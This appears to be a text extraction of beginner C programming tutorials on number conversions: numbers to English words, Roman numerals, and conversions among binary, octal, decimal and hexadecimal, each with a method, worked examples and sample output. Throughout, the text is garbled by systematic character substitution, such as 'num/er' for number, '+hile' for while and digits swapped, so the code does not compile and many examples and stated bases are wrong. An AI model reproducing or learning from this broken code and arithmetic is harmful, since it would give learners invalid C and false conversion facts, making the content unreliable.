$ program to on"ert urren y into words


C code to convert any number to -nglish word: #include<stdio.h> #include<strin".h> *oid toSord(int%int); char B "etEositionValue(int); char B di"itGoSord(int); char +ord[100][60]; int i =0; int main(){ int >%=%su/numer; unsi"ned lon" int num/er; printf(" nter an! posti*e num/er# "); scanf("$lu"%<num/er); if(num/er ==0){ printf("Xero"); return 0; +hile(num/er){ if(i==1){ toSord(num/er $10%i); num/er = num/erR10; -else{ toSord(num/er $100%i); num/er = num/erR100;

i,,; printf("Ium/er in +ord# "); B+ord[iD1] = B+ord[iD1] D 64; for(>=iD1;>>=0;>DD){ printf("$s"%+ord[>]); return 0; *oid toSord(int num/er%int position){ char num/erGo+ord[100]={" "-;

if(num/er ==0){ -else if (num/er < 40 KKnum/er $10==0){ strcp!(num/erGo+ord%di"itGoSord(num/er)); -else{ strcp!(num/erGo+ord%di"itGoSord((num/erR10)B10)); strcat(num/erGo+ord%di"itGoSord(num/er $10)); strcat(num/erGo+ord%"etEositionValue(position)); strcp!(+ord[i]%num/erGo+ord); char B "etEositionValue(int postion){ static char positionValue[10]=" "; s+itch(postion){

"); "); "); "); "); "); "); ");

case /rea=; case /rea=; case /rea=; case /rea=; case /rea=; case /rea=; case /rea=; case /rea=; -

1# strcp!(positionValue%"hundreds 4# strcp!(positionValue%"thousand 6# strcp!(positionValue%"la=h 2# strcp!(positionValue%"crore 3# strcp!(positionValue%"ara/ 1# strcp!(positionValue%"=hara/ L# strcp!(positionValue%"neel 5# strcp!(positionValue%"padam

return positionValue;

char B di"itGoSord(int di"it){ static char di"it)nSord[10]=" "; s+itch(di"it){ case 1# strcp!(di"it)nSord /rea=; case 4# strcp!(di"it)nSord /rea=; case 6# strcp!(di"it)nSord /rea=; case 2# strcp!(di"it)nSord /rea=; case 3# strcp!(di"it)nSord /rea=; case 1# strcp!(di"it)nSord /rea=; case L# strcp!(di"it)nSord /rea=; % "one % "t+o % "three % "four % "fi*e % "siJ % "se*en

"); "); "); "); "); "); ");

case "); /rea=; case ");/rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=; case "); /rea=;

5# strcp!(di"it)nSord % "ei"ht 0# strcp!(di"it)nSord % "nine 10# strcp!(di"it)nSord % "ten 11# strcp!(di"it)nSord % "ele*en 14# strcp!(di"it)nSord % "t+el*e 16# strcp!(di"it)nSord % "thirteen 12# strcp!(di"it)nSord % "fourteen 13# strcp!(di"it)nSord % "fifteen 11# strcp!(di"it)nSord % "siJteen 1L# strcp!(di"it)nSord % "se*enteen 15# strcp!(di"it)nSord % "ei"hteen 10# strcp!(di"it)nSord % "nineteen 40# strcp!(di"it)nSord % "t+ent! 60# strcp!(di"it)nSord % "thirt! 20# strcp!(di"it)nSord % "fourt! 30# strcp!(di"it)nSord % "fift! 10# strcp!(di"it)nSord % "siJt! L0# strcp!(di"it)nSord % "se*ent! 50# strcp!(di"it)nSord % "ei"ht! 00# strcp!(di"it)nSord%"ninet!

return di"it)nSord;

*o comments+ 2ategory + Program

$ program to on"ert digits to words


C code to covert each digits of a number in -nglish word Convert digits to words in c #include<stdio.h> int main(){ int num/er%i=0%>%di"it; char B +ord[1000]; printf(" nter an! inte"er# "); scanf("$d"%<num/er); +hile(num/er){ di"it = num/er $10; num/er = num/er R10; s+itch(di"it){ case 0# +ord[i,,] case 1# +ord[i,,] case 4# +ord[i,,] case 6# +ord[i,,] case 2# +ord[i,,] case 3# +ord[i,,] case 1# +ord[i,,] case L# +ord[i,,] case 5# +ord[i,,] case 0# +ord[i,,] = = = = = = = = = = "Qero"; /rea=; "one"; /rea=; "t+o"; /rea=; "three"; /rea=; "four"; /rea=; "fi*e"; /rea=; "siJ"; /rea=; "se*en"; /rea=; "ei"ht"; /rea=; "nine"; /rea=;

for(>=iD1;>>=0;>DD){ printf("$s "%+ord[>]); return 0; 'ample output# nter an! inte"er# 46231405 t+o three four fi*e one t+o Qero ei"ht
*o comments+ 2ategory + Program

$ program to on"ert &oman number to de imal number


C code for roman numbers to -nglish numbers #include<stdio.h> #include<strin".h> int di"itValue(char); int main(){ char romanUIum/er[1000]; int i=0; lon" int num/er =0; printf(" nter an! roman num/er (Valid di"its are )% V% A% O% (% H% @)# 9n"); scanf("$s"%romanUIum/er); +hile(romanUIum/er[i]){ if(di"itValue(romanUIum/er[i]) < 0){ printf(")n*alid roman di"it # $c"%romanUIum/er[i]); return 0; -

if((strlen(romanUIum/er) Di) > 4){ if(di"itValue(romanUIum/er[i]) < di"itValue(romanUIum/er[i,4])){ printf(")n*alid roman num/er"); return 0; if(di"itValue(romanUIum/er[i]) >= di"itValue(romanUIum/er[i,1])) num/er = num/er , di"itValue(romanUIum/er[i]); else{ num/er = num/er , (di"itValue(romanUIum/er[i,1]) D di"itValue(romanUIum/er[i])); i,,; i,,; printf(")ts decimal *alue is # $ld"%num/er); return 0; int di"itValue(char c){ int *alue=0; s+itch(c){ case 8)8# *alue = 1; /rea=; case 8V8# *alue = 3; /rea=; case 8A8# *alue = 10; /rea=; case 8O8# *alue = 30; /rea=; case 8(8# *alue = 100; /rea=; case 8H8# *alue = 300; /rea=; case 8@8# *alue = 1000; /rea=; case 8908# *alue = 0; /rea=; default# *alue = D1;

return *alue;

Sample output: nter an! roman num/er (Valid di"its are )% V% A% O% (% H% @)# AV)) )ts decimal *alue is# 1L

$ program to on"ert de imal to roman number


Convert numbers to roman numerals in c #include<stdio.h> *oid predi"its(char c1%char c4); *oid postdi"its(char c%int n); char romanUIum/er[1000]; int i=0; int main(){ int >; lon" int num/er; printf(" nter an! natural num/er# "); scanf("$d"%<num/er); if(num/er <= 0){ printf(")n*alid num/er"); return 0; +hile(num/er 7= 0){ if(num/er >= 1000){ postdi"its(8@8%num/erR1000); num/er = num/er D (num/erR1000) B

1000;

300;

else if(num/er >=300){ if(num/er < (300 , 2 B 100)){ postdi"its(8H8%num/erR300); num/er = num/er D (num/erR300) B else{ predi"its(8(8%8@8); num/er = num/er D (1000D100); -

else if(num/er >=100){ if(num/er < (100 , 6 B 100)){ postdi"its(8(8%num/erR100); num/er = num/er D (num/erR100) B 100; else{ predi"its(8O8%8H8); num/er = num/er D (300D100); else if(num/er >=30){ if(num/er < (30 , 2 B 10)){ postdi"its(8O8%num/erR30); num/er = num/er D (num/erR30) B else{ predi"its(8A8%8(8); num/er = num/er D (100D10); -

30;

else if(num/er >=10){ if(num/er < (10 , 6 B 10)){ postdi"its(8A8%num/erR10); num/er = num/er D (num/erR10) B 10; -

else{ predi"its(8A8%8O8); num/er = num/er D (30D10); else if(num/er >=3){ if(num/er < (3 , 2 B 1)){ postdi"its(8V8%num/erR3); num/er = num/er D (num/erR3) B 3; else{ predi"its(8)8%8A8); num/er = num/er D (10D1); else if(num/er >=1){ if(num/er < 2){ postdi"its(8)8%num/erR1); num/er = num/er D (num/erR1) B 1; else{ predi"its(8)8%8V8); num/er = num/er D (3D1); -

printf("Coman num/er +ill /e# "); for(>=0;><i;>,,) printf("$c"%romanUIum/er[>]); return 0; *oid predi"its(char c1%char c4){ romanUIum/er[i,,] = c1; romanUIum/er[i,,] = c4; *oid postdi"its(char c%int n){

int >; for(>=0;><n;>,,) romanUIum/er[i,,] = c; Sample output: nter an! natural num/er# 5L Coman num/er +ill /e# OAAAV))
*o comments+ 2ategory + Program

$ program for fra tional de imal to binary fra tion on"ersion


How to convert fractional decimal to binary: Pollo+in" steps descri/e ho+ to con*ert decimal to /inar! 'tep1. Pirst +e con*ert the inte"ral part of /inar! num/er to decimal. Pollo+in" steps descri/e num/er to /inar! num/er# ho+ to con*ert decimal

'1# Hi*ide the decimal num/er /! 4 '4# Hi*ide the ;uotient /! 4 '6# Cepeat the step 4 until +e "et ;uotient e;ual to Qero. ;ui*alent /inar! num/er +ould each step in the re*erse order. /e remainders of

'tep4. Io+ +e con*ert the fractional part of decimal num/er to /inar!. Pollo+in" steps descri/e ho+ to con*ert floatin" decimal to /inar! '1# @ultipl! the decimal num/er /! 4 '4# )nte"ral part of resultant decimal num/er +ill /e first di"it of fraction /inar! num/er.

'6# Cepeat the '1 usin" onl! fractional part of decimal num/er and then '4. 'tep6# &dd the /inar! num/er. inte"ral and fractional part of

-!ample for floating point decimal to binary: Por eJample +e +ant to con*ert the decimal num/er 43.L to /inar! num/er. 'tep1# (on*ersions of 43 to /inar!. '1# '4# '6# '2# '3# 43 14 1 6 1 R R R R R 4 4 4 4 4 Cemainder Cemainder Cemainder Cemainder Cemainder # # # # # 1 0 0 1 1 % % % % % Yuotient Yuotient Yuotient Yuotient Yuotient # # # # # 14 1 6 1 0

'o e;ui*alent /inar! num/er is# 11001 'tep4# (on*ersions of .L to /inar!.


'1# '4# '6# '2# '3# '1# 0.L 0.2 0.5 0.1 0.4 0.2 B B B B B B 4 4 4 4 4 4 = = = = = = 1.2% 0.5% 1.1% 1.4% 0.2% 0.5% )nte"ral )nte"ral )nte"ral )nte"ral )nte"ral )nte"ral part part part part part part = = = = = = 1 0 1 1 0 0

'o e;ui*alent /inar! num/er is# 0.101100 'tep 6# 'o /inar! *alue of decimal num/er 43.L +ill /e 11001 , 0.101100 = 1101.101100 C code for fractional decimal to binary converter: #include<stdio.h> int main(){

lon" dou/le fraHecimal%fra:inar!%/Practional 0.0%dPractional%fraPactor=0.1; lon" int d)nte"ral%/)nte"ral=0; lon" int intPactor=1%remainder%temp%i; "); printf(" nter an! fractional decimal

num/er#

scanf("$Of"%<fraHecimal); d)nte"ral = fraHecimal; dPractional = fraHecimal D d)nte"ral; +hile(d)nte"ral7=0){ remainder=d)nte"ral$4; /)nte"ral=/)nte"ral,remainderBintPactor; d)nte"ral=d)nte"ralR4; intPactor=intPactorB10; for(i=1;i<=1;i,,){ dPractional = dPractional B 4; temp = dPractional; /Practional = /Practional , fraPactorB temp; if(temp ==1) dPractional = dPractional D temp; fraPactor=fraPactorR10; fra:inar! = /)nte"ral , printf(" ;ui*alent $lf"%fra:inar!); return 0; /Practional; /inar! *alue#

Sample output:

nter an! fractional decimal num/er# 3.L ;ui*alent /inar! *alue# 101.101100
*o comments+ 2ategory + Program

$ program fra tional binary on"ersion from de imal

Algorithm:
&l"orithm to con*ert the fractional /inar! decimal or floatin" point /inar! to decimal# to

'tep1. Pirst +e con*ert the inte"ral part of /inar! num/er to decimal. Por this +e multipl! each di"it separatel! from ri"ht side /! 1% 4% 2% 5% 11 Z respecti*el! then add them this is inte"ral part of decimal num/er. 'tep4. Io+ +e con*ert the fractional part of /inar! num/er to decimal. Por this +e multipl! each di"it separatel! from left side /! 1R4% 1R2% 1R5% 1R11 Z respecti*el! then add them this is fractional part of decimal num/er. 'tep6# &dd the decimal num/er. inte"ral and fractional part of

-!ample for floating point binary to decimal: Por eJample +e +ant to con*ert the /inar! num/er 101111.1101 to decimal num/er. 'tep1# (on*ersions of 101111 to decimal# '1# '4# '6# '2# '3# '1# 1 1 1 1 0 1 B B B B B B 1 = 1 4 = 4 2 = 2 5 = 5 11 = 0 64 = 64

)nte"ral part of decimal num/er# 1 , 4 , 2, 5, 0, 64 = 2L 'tep4# (on*ersions of .1101 to decimal#


'1# '4# '6# '2# 1 1 0 1 B B B B (1R4) = 0.3 (1R2) = 0.43 (1R5) = 0 (1R11) = 0.0143

Practional part of decimal num/er = 0.3 , 0.43 , 0 , 0.0143 = 0.5143

'o e;ui*alent /inar! num/er is# 0.101100 'tep 6# 'o /inar! *alue of /inar! num/er 101111.1101 +ill /e 2L , 0.5143 = 2L.5143 C code for fractional binary to decimal converter: #include<stdio.h> #define @&A 1000 int main(){ lon" dou/le fraHecimal=0.0%dPractional=0.0 %fraPactor=0.3; lon" int d)nte"ral = 0%/)nte"ral=0%/Practional[@&A]; lon" int intPactor=1%remainder%i=0%==0%fla"=0; char fra:inar![@&A]; printf(" nter an! fractional /inar! num/er# "); scanf("$s"%<fra:inar!); +hile(fra:inar![i]){ if(fra:inar![i] == 8.8) fla" = 1; else if(fla"==0)

/)nte"ral = /)nte"ral B 10 , (fra:inar![i] D25); else /Practional[=,,] = fra:inar![i] D25; i,,; +hile(/)nte"ral7=0){ remainder=/)nte"ral$10; d)nte"ral= d)nte"ral,remainderBintPactor; intPactor=intPactorB4; /)nte"ral=/)nte"ralR10; for(i=0;i<=;i,,){ dPractional = dPractional /Practional[i] B fraPactor; fraPactor = fraPactor R 4; fraHecimal = d)nte"ral , dPractional ; printf(" ;ui*alent $Of"%fraHecimal); return 0; Sample output: nter an! fractional /inar! num/er# 11.11 ;ui*alent decimal *alue# 6.L30000 decimal *alue# ,

$ program for multipli ation of two binary numbers


Rule of binary multiplication: 0 1 0 1 B B B B 0 0 1 1 = = = = 0 0 0 1

1( what is the product of the binary numbers 2''2 and 22''3 &ns+er# 0110 B 0011 = 10010

C code for product of two binary numbers C program for multiplication of two binary numbers #include<stdio.h> int /inar!&ddition(int%int); int main(){ lon" int /inar!1%/inar!4%multipl!=0; int di"it%factor=1; printf(" nter an! first /inar! num/er# "); scanf("$ld"%</inar!1); printf(" nter an! second /inar! num/er# "); scanf("$ld"%</inar!4); +hile(/inar!47=0){ di"it = /inar!4 $10; if(di"it ==1){ /inar!1=/inar!1Bfactor; multipl! /inar!&ddition(/inar!1%multipl!); else /inar!1=/inar!1Bfactor; /inar!4 = /inar!4R10; factor = 10; -

printf("Eroduct $ld"%multipl!); return 0; -

of

t+o

/inar!

num/ers#

int /inar!&ddition(int /inar!1%int /inar!4){ int i=0%remainder = 0%sum[40]; int /inar!'um=0; +hile(/inar!17=0KK/inar!47=0){ sum[i,,] = (/inar!1 $10 , /inar!4 $10 , remainder ) $ 4; remainder = (/inar!1 $10 , /inar!4 $10 , remainder ) R 4; /inar!1 = /inar!1R10; /inar!4 = /inar!4R10; if(remainder7=0) sum[i,,] = remainder; DDi; +hile(i>=0) /inar!'um = /inar!'umB10 , sum[iDD]; return /inar!'um;

Sample output: nter an! first /inar! num/er# 1101 nter an! second /inar! num/er# 11 Eroduct of t+o /inar! num/ers# 100111
*o comments+ 2ategory + Program

$ program for addition of binary numbers


Rule of binary addition: 0 , 0 = 0

1 , 0 = 1 0 , 1 = 1 1 , 1 = 1 and carr! = 1 1'( hat is the sum of the binary numbers ''2' and '''23 &ns+er# 1101 , 1110 = 11011 C code for sum of two binary numbers: #include<stdio.h> int main(){ lon" int /inar!1%/inar!4; int i=0%remainder = 0%sum[40]; printf(" nter an! first /inar! num/er# "); scanf("$ld"%</inar!1); printf(" nter an! second /inar! num/er# "); scanf("$ld"%</inar!4); +hile(/inar!17=0KK/inar!47=0){ sum[i,,] = (/inar!1 $10 , /inar!4 $10 , remainder ) $ 4; remainder = (/inar!1 $10 , /inar!4 $10 , remainder ) R 4; /inar!1 = /inar!1R10; /inar!4 = /inar!4R10; if(remainder7=0) sum[i,,] = remainder; DDi; printf("'um of t+o /inar! num/ers# "); +hile(i>=0) printf("$d"%sum[iDD]); return 0;

Sample output: nter an! first /inar! num/er# 1100011 nter an! second /inar! num/er# 1101 'um of t+o /inar! num/ers# 1110000
*o comments+ 2ategory + Program

2inary to he#ade imal on"ersion in


4inary to he!adecimal conversion method 'tep1# &rran"e the /inar! num/er in the "roup 2 from ri"ht side. 'tep 4# *alues# Ceplace the each "roup +ith follo+in" He!adecimal values 0 1 4 6 2 3 1 L 5 0 & : ( H P

4inary number 2222 222' 22'2 22'' 2'22 2'2' 2''2 2''' '222 '22' '2'2 '2'' ''22 ''2' '''2 ''''
4inary to he!adecimal chart

4inary to he!adecimal conversion e!amples: Por eJample +e +ant to con*ert /inar! num/er 11011010101001101 to heJadecimal.

'tep 1# 2221 1011 0101 0100 1101 'tep 4# 1 : 3 2 H 'o (1011010101001101)4 = (1:32H)11 C program for he!adecimal to binary conversion #include<stdio.h> int main(){ lon" int /inar!Ium/er%heJadecimalIum/er=0%>=1%r emainder; printf(" nter an! num/er an! /inar! num/er# "); scanf("$ld"%</inar!Ium/er); +hile(/inar!Ium/er7=0){ remainder=/inar!Ium/er$10; heJadecimalIum/er=heJadecimalIum/er,remainderB>; >=>B4; /inar!Ium/er=/inar!Ium/erR10; printf(" ;ui*alent heJadecimal *alue# $lA"%heJadecimalIum/er); return 0;

Sample output: nter an! num/er an! /inar! num/er# 1101 ;ui*alent heJadecimal *alue# H How to convert large binary number to he!adecimal #include<stdio.h> #define @&A 1000 int main(){

char /inar!Ium/er[@&A]%heJaHecimal[@&A]; int temp; lon" int i=0%>=0; printf(" nter an! num/er an! /inar! num/er# "); scanf("$s"%/inar!Ium/er); +hile(/inar!Ium/er[i]){ /inar!Ium/er[i] = /inar!Ium/er[i] D25; ,,i; DDi; +hile(iD4>=0){ temp = /inar!Ium/er[iD6] B5 , /inar!Ium/er[iD4] B2 , /inar!Ium/er[iD1] B4 , /inar!Ium/er[i] ; if(temp > 0) heJaHecimal[>,,] = temp , 33; else heJaHecimal[>,,] = temp , 25; i=iD2; if(i ==1) heJaHecimal[>] = /inar!Ium/er[iD1] B4 , /inar!Ium/er[i] , 25 ; else if(i==0) heJaHecimal[>] = /inar!Ium/er[i] , 25 ; else DD>; printf(" ;ui*alent heJadecimal *alue# "); +hile(>>=0){ printf("$c"%heJaHecimal[>DD]); return 0;

Sample output:

nter an! num/er an! /inar! num/er# 1010011011100011110 001001111011110001000100011101110111011110 ;ui*alent heJadecimal *alue# 12H(L50 P111HHH

'rite a program to on"ert binary number to de imal number


4inary number system: )t is /ase 4 num/er s!stem +hich uses the di"its from 0 and 1. "ecimal number system: )t is /ase 10 num/er s!stem +hich uses the di"its from 0 to 0 Convert from binary to decimal algorithm: Por this +e multipl! each di"it separatel! from ri"ht side /! 1% 4% 2% 5% 11 Z respecti*el! then add them.

4inary number to decimal conversion with e!ample: Por eJample to decimal# 'tep1# 1 B 'tep4# 1 B 'tep6# 1 B 'tep2# 1 B 'tep3# 0 B 'tep1# 1 B +e +ant to con*ert /inar! num/er 101111 1 = 1 4 = 4 2 = 2 5 = 5 11 = 0 64 = 64

)ts decimal *alue# 1 , 4 , 2, 5, 0, 64 = 2L Ghat is (101111)4 = (2L)10 C code for binary to decimal conversion:

#include<stdio.h> int main(){ lon" int /inar!Ium/er%decimalIum/er=0%>=1%remai nder; printf(" nter an! num/er an! /inar! num/er# "); scanf("$ld"%</inar!Ium/er); +hile(/inar!Ium/er7=0){ remainder=/inar!Ium/er$10; decimalIum/er=decimalIum/er,remainderB>; >=>B4; /inar!Ium/er=/inar!Ium/erR10; printf(" ;ui*alent $ld"%decimalIum/er); return 0; decimal *alue#

Sample output: nter an! num/er an! /inar! num/er# 1101 ;ui*alent decimal *alue# 16
*o comments+ 2ategory + Program

2inary to o tal on"ersion in


4inary to octal conversion method: 'tep1# &rran"e the /inar! num/er in the "roup 6 from ri"ht side. 'tep 4# *alues# Ceplace the each "roup +ith follo+in" ,ctal values 0 1

4inary number 222 22'

2'2 2'' '22 '2' ''2 '''


4inary to octal chart

4 6 2 3 1 L

4inary to octal conversion e!amples: Por eJample +e +ant to con*ert /inar! num/er 1011010101001101 to octal. 'tep 1# 221 011 010 101 001 101 'tep 4# 1 6 4 3 1 3 'o (1011010101001101)4 = (164313)5

C program c program to convert binary to octal #include<stdio.h> int main(){ er; lon" int /inar!Ium/er%octalIum/er=0%>=1%remaind printf(" nter an! num/er an! /inar! num/er# "); scanf("$ld"%</inar!Ium/er); +hile(/inar!Ium/er7=0){ remainder=/inar!Ium/er$10; octalIum/er=octalIum/er,remainderB>; >=>B4; /inar!Ium/er=/inar!Ium/erR10; printf(" ;ui*alent octal *alue# $lo"%octalIum/er); return 0;

Sample output: nter an! num/er an! /inar! num/er# 1101 ;ui*alent heJadecimal *alue# 13 C code for how to convert large binary to octal #include<stdio.h> #define @&A 1000 int main(){ char /inar!Ium/er[@&A]%octalIum/er[@&A]; lon" int i=0%>=0; printf(" nter an! num/er an! /inar! num/er# "); scanf("$s"%/inar!Ium/er); +hile(/inar!Ium/er[i]){ /inar!Ium/er[i] = /inar!Ium/er[i] D25; ,,i; DDi; +hile(iD4>=0){ octalIum/er[>,,] = /inar!Ium/er[iD4] B2 , /inar!Ium/er[iD1] B4 , /inar!Ium/er[i] ; i=iD6; if(i ==1) octalIum/er[>] = /inar!Ium/er[iD1] B4 , /inar!Ium/er[i] ; else if(i==0) octalIum/er[>] = /inar!Ium/er[i] ; else DD>; printf(" ;ui*alent octal *alue# "); +hile(>>=0){

printf("$d"%octalIum/er[>DD]);

return 0; Sample output: nter an! num/er an! /inar! num/er# 1111111111111111111 111111111111111111111111111111111111111111111111111 1111 111111111111111111111111111111111111111111111111111 1111 111111111111111111111111111111111111111111111111111 1111 111111111111111111111111111111111111111111111111111 1111 11111111 ;ui*alent octal *alue# 6LLLLLLLLLLLLLLLLLLLLLLLLLLLLLL LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL L
*o comments+ 2ategory + Program

He#ade imal to binary on"ersion in


He!adecimal to binary conversion method: Go con*ert or chan"e the heJadecimal num/er to /inar! num/er replace the each octal di"its /! a /inar! num/er usin" heJadecimal to /inar! chart. He!adecimal 0 1 4 6 2 3 1 4inary 0000 0001 0010 0011 0100 0101 0110

L 5 0 & : ( H P
He!adecimal to binary table

0111 1000 1001 1010 1011 1100 1101 1110 1111

He!adecimal to binary conversion e!amples: Por eJample +e +ant to con*ert or chan"e heJadecimal num/er 13:4 to /inar!. Por this +e +ill replace each heJadecimal di"it to /inar! *alues usin" the a/o*e ta/le# [eJadecimal num/er# 1 3 : 4 :inar! *alues# 0110 0101 1011 0010 'o (13:4)11 = (0110010110110010)4

C program for he!adecimal to binary conversion #include<stdio.h> #define @&A 1000 int main(){ char /inar!Ium/er[@&A]%heJaHecimal[@&A]; long int i=0; printf(" nter an! heJadecimal num/er# "); scanf("$s"%heJaHecimal); printf("9n ;ui*alent /inar! *alue# "); while(heJaHecimal[i]){ switch(heJaHecimal[i]){ case 808# printf("0000"); brea5;

case 818# printf("0001"); brea5; case 848# printf("0010"); brea5; case 868# printf("0011"); brea5; case 828# printf("0100"); brea5; case 838# printf("0101"); brea5; case 818# printf("0110"); brea5; case 8L8# printf("0111"); brea5; case 858# printf("1000"); brea5; case 808# printf("1001"); brea5; case 8&8# printf("1010"); brea5; case 8:8# printf("1011"); brea5; case 8(8# printf("1100"); brea5; case 8H8# printf("1101"); brea5; case 8 8# printf("1110"); brea5; case 8P8# printf("1111"); brea5; case 8a8# printf("1010"); brea5; case 8/8# printf("1011"); brea5; case 8c8# printf("1100"); brea5; case 8d8# printf("1101"); brea5; case 8e8# printf("1110"); brea5; case 8f8# printf("1111"); brea5; default# printf("9n)n*alid heJadecimal di"it $c "%heJaHecimal[i]); return 0; i,,; return 0; Sample output: nter an! heJadecimal num/er# 4&H3 ;ui*alent /inar! *alue# 0010101011010101
*o comments+

( tal to de imal on"ersion in


,ctal to decimal conversion method: Go con*ert an octal num/er to decimal multipl! each di"its separatel! of octal num/er num/er

from ri"ht side /! 5F0%5F1%5F4%5F6 Z respecti*el! and then find out the sum of them. ,ctal to decimal conversion e!amples: Por eJample +e +ant to con*ert octal num/er 6201 to decimal num/er. 'tep 'tep 'tep 'tep 1# 4# 6# 2# 1 0 2 6 B B B B 5 5 5 5 F0 F1 F4 F6 = = = = 1B1 =1 0B5 =0 2B12 =431 6B314 =1361

'um= 1 , 0 , 431 , 1361 = 1L06 'o% (6201)5 = (1L06)10 C code to convert octal number to decimal number #include<stdio.h> #include<math.h> int main(){ long int octal%decimal =0; int i=0; printf(" nter an! octal num/er# "); scanf("$ld"%<octal); while(octal7=0){ decimal = decimal , (octal $ 10) B po+(5%i,,); octal = octalR10; printf(" ;ui*alent decimal *alue# $ld"%decimal); return 0;

Sample output: nter an! octal num/er# 621 ;ui*alent decimal *alue# 460

C program to change octal to decimal #include<stdio.h> int main(){ long int octalIum/er; printf(" nter an! octal num/er# "); scanf("$o"%<octalIum/er); printf(" ;ui*alent decimal num/er is# $d"%octalIum/er); return 0;

Sample output: nter an! octal num/er# 1L ;ui*alent decimal num/er is# 13
*o comments+ 2ategory + Program

( tal to binary on"ersion in


,ctal to binary conversion method: Go con*ert or chan"e the octal num/er to /inar! num/er replace the each octal di"its /! a /inar! num/er usin" octal to /inar! chart.

,ctal 0 1 4 6 2 3 1 L
,ctal to binary table

4inary 000 001 010 011 100 101 110 111

,ctal to binary conversion e!amples: Por eJample +e +ant to con*ert or chan"e octal num/er 13401 to decimal. Por this +e +ill replace each octal di"it to /inar! *alues usin" the a/o*e ta/le# .ctal num/er# 1 3 4 0 1 :inar! *alues# 110 101 010 000 001 'o (13401)5 = (110101010000001)4 C program to convert binary to octal #include<stdio.h> #define @&A 1000 int main(){ char octalIum/er[@&A]; long int i=0; printf(" nter an! octal num/er# "); scanf("$s"%octalIum/er); printf(" ;ui*alent /inar! *alue# "); while(octalIum/er[i]){ switch(octalIum/er[i]){ case 808# printf("000"); brea5; case 818# printf("001"); brea5;

case 848# printf("010"); brea5; case 868# printf("011"); brea5; case 828# printf("100"); brea5; case 838# printf("101"); brea5; case 818# printf("110"); brea5; case 8L8# printf("111"); brea5; default# printf("9n)n*alid octal di"it $c "%octalIum/er[i]); return 0; i,,; return 0;

Sample output: nter an! octal num/er# 146 ;ui*alent /inar! *alue# 001010011
*o comments+ 2ategory + Program

.e imal to he#ade imal on"ersion in


He!adecimal number system: )t is /ase 11 num/er s!stem +hich uses the di"its from 0 to 0 and &% :% (% H% % P. "ecimal number system: )t is /ase 10 num/er s!stem +hich uses the di"its from 0 to 0 "ecimal to he!adecimal conversion method: Pollo+in" steps descri/e ho+ to con*ert decimal to heJadecimal 'tep 1# Hi*ide the ori"inal decimal num/er /! 11 'tep 4# Hi*ide the ;uotient /! 11

'tep 6# Cepeat the step 4 until +e "et ;uotient e;ual to Qero. ;ui*alent /inar! num/er +ould each step in the re*erse order. /e remainders of

"ecimal to he!adecimal conversion e!ample: Por eJample +e +ant to con*ert decimal num/er 000 in the heJadecimal. 'tep 1# 'tep 4# 'tep 6# 000 R 11 31 R 11 6 R 11 Cemainder # 2 % Yuotient # 31 Cemainder # 5 % Yuotient # 6 Cemainder # 6 % Yuotient # 0

'o e;ui*alent heJadecimal num/er is# 652 Ghat is (000)10 = (652)11 '. C code to convert decimal to he!adecimal #include<stdio.h> int main(){ lon" int decimalIum/er%remainder%;uotient; int i=1%>%temp; char heJadecimalIum/er[100]; printf(" nter an! decimal num/er# "); scanf("$ld"%<decimalIum/er); ;uotient = decimalIum/er; +hile(;uotient7=0){ temp = ;uotient $ 11; RRGo con*ert inte"er into character if( temp < 10) temp =temp , 25; else temp = temp , 33;

heJadecimalIum/er[i,,]= temp; ;uotient = ;uotient R 11;

printf(" ;ui*alent heJadecimal *alue of decimal num/er $d# "%decimalIum/er); for(> = i D1 ;>> 0;>DD) printf("$c"%heJadecimalIum/er[>]); return 0;

Sample output: nter an! decimal num/er# 23 ;ui*alent heJadecimal *alue of decimal num/er 23# 4H #. -asy way to he!adecimal number: #include<stdio.h> int main(){ lon" int decimalIum/er; printf(" nter an! decimal num/er# "); scanf("$d"%<decimalIum/er); printf(" ;ui*alent $A"%decimalIum/er); return 0; Sample output: nter an! decimal num/er# 23 ;ui*alent heJadecimal num/er is# 4H heJadecimal num/er is# convert decimal number to

$()/+&S%() F&(M .+$%MA0 *( ($*A0 -S%), $ P&(,&AM


,ctal number system: )t is /ase 5 num/er s!stem +hich uses the di"its from 0 to L. "ecimal number system: )t is /ase 10 num/er s!stem +hich uses the di"its from 0 to 0 "ecimal to octal conversion method: 'tep 1# Hi*ide the ori"inal decimal num/er /! 5 'tep 4# Hi*ide the ;uotient /! 5 'tep6# Cepeat the step 4 until +e "et ;uotient e;ual to Qero. Cesult octal num/er +ould /e remainders of each step in the re*erse order. "ecimal to octal conversion with e!ample: Por eJample +e +ant to con*ert decimal num/er 343 in the octal. 'tep 'tep 'tep 'tep 1# 4# 6# 2# 343 13 5 1 R R R R 5 5 5 5 Cemainder Cemainder Cemainder Cemainder # # # # 3 1 0 1 % % % % Yuotient Yuotient Yuotient Yuotient # # # # 13 5 1 0

'o e;ui*alent octal num/er is# 1013 Ghat is (343)10 = (1013)5 '( C code for decimal to octal converter #include<stdio.h> int main(){ long int decimalIum/er%remainder%;uotient; int octalIum/er[100]%i=1%>;

printf(" nter an! decimal num/er# "); scanf("$ld"%<decimalIum/er); ;uotient = decimalIum/er; while(;uotient7=0){ octalIum/er[i,,]= ;uotient $ 5; ;uotient = ;uotient R 5; printf(" ;ui*alent octal *alue of decimal num/er $d# "%decimalIum/er); for(> = i D1 ;>> 0;>DD) printf("$d"%octalIum/er[>]); return 0; Sample output: nter an! decimal num/er# 30 ;ui*alent octal *alue of decimal num/er 30# 14 #( -asy way number in c to convert decimal number to octal

#include<stdio.h> int main(){ long int decimalIum/er; printf(" nter an! decimal num/er # "); scanf("$d"%<decimalIum/er); printf(" ;ui*alent $o"%decimalIum/er); return 0; octal num/er is#

Sample output:

nter an! decimal num/er# 43 ;ui*alent octal num/er is# 61


*o comments+ 2ategory + Program

Program to on"ert de imal to binary in


4inary number system: )t is /ase 4 num/er s!stem +hich uses the di"its from 0 and 1. "ecimal number system: )t is /ase 10 num/er s!stem +hich uses the di"its from 0 to 0 Convert from decimal to binary algorithm: Pollo+in" steps descri/e ho+ to con*ert decimal to /inar! 'tep 1# Hi*ide the ori"inal decimal num/er /! 4 'tep 4# Hi*ide the ;uotient /! 4 'tep 6# Cepeat the step 4 until +e "et ;uotient e;ual to Qero. ;ui*alent /inar! num/er +ould each step in the re*erse order. /e remainders of

